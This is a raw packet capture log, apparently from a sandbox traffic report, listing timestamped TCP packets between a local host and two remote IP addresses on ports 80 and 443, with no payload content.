Oct 30, 2024 18:06:20.059997082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.060018063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.060025930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.060038090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.060064077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.060090065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100081921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100096941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100107908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100121021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100131989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100147963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100162029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100168943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100225925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100269079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100280046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100301981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100338936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100461006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100471973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100485086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100492954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100507975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100519896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100528002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100821018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100831032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100841045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100853920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.100868940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.100907087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104665041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104712963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104713917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104726076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104758978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104891062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104908943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104918003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104922056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104933977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104945898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.104954958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104969978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.104994059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.105247974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105259895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105271101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105283022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105294943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.105297089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105302095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105309010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.105338097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.105350971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.105520010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.105562925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.136687040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.136713982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.136725903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.136796951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.136823893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150518894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150559902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150573015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150598049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150659084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150691032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150702953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150715113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150727034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150731087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150757074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150789022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.150974989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.150989056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151000977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151017904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151038885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151141882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151154995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151166916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151182890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151210070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151382923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151395082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151406050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151417971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151421070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151432037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151446104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151472092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151722908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151735067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151746988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151758909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151763916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151771069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.151782990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.151808977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152065992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152077913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152089119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152098894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152105093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152111053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152123928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152143002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152404070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152414083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152425051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152429104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152436972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152445078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152450085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152462006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152470112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152473927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152483940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.152494907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.152514935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.176860094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.176902056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.176913977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.176950932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.176999092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.177056074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.177067995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.177098036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.177123070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.216875076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.216901064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.216911077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217010021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217025995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217040062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217040062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217092037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217179060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217189074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217220068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217247963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217257977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217267990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217293024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217314959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217375994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217386007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217395067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.217416048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.217434883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222130060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222178936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222184896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222191095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222220898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222233057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222337008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222357035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222369909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222388029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222409010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222552061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222563028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222574949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222587109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222598076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222599983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222609997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222615004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222644091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222866058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222913027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.222942114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222953081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222965002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.222990036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.223043919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.253629923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.253653049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.253663063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.253797054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267421007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267463923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267477989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267527103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267587900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267606020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267618895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267630100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267649889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267669916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267720938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267733097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267759085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267775059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267848969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267893076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267896891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.267935038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.267988920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268001080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268013954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268027067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268044949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268205881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268254042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268311977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268321991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268331051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268342018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268354893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268381119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268520117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268532991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268544912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268557072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268563032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268565893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268578053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268591881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268621922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268805981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268846035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268867970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268878937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268891096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.268904924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.268923044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.269107103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269118071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269157887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.269247055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269258022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269268036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269279957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269288063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.269294024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.269320965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.269344091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.293819904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.293848991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.293862104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.293879032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.293916941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.293916941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.293946981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.293963909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.293984890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.293994904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.294117928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.294130087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.294142008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.294161081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.294182062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.333868027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.333890915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.333925962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.333925009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.333966970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.333967924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.333991051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334003925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334027052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334043026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334065914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334084988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334187984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334199905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334211111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334224939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334237099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334264040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334381104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334393024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334405899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.334424973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.334438086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.338973999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339009047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339020014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339020967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339040995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339066029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339143991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339154959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339165926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339198112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339212894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339240074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339273930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339318991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339330912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339364052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339375973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339421034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339463949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339472055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339483023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339493036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339509964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339535952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339659929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339672089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339682102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339703083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339725018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.339798927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.339831114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398124933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398152113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398165941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398252964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398267031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398288012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398300886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398389101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398401022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398412943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398426056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398432016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398456097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398478985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.398646116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.398691893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:23.547413111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:23.547499895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:27.400176048 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:27.400224924 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:27.400367975 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:27.400537968 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:27.400561094 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:28.251657009 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:28.251996040 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.252015114 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:28.253000021 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:28.253088951 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.256592035 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.256659985 CET	443	49711	142.250.186.132	192.168.2.5
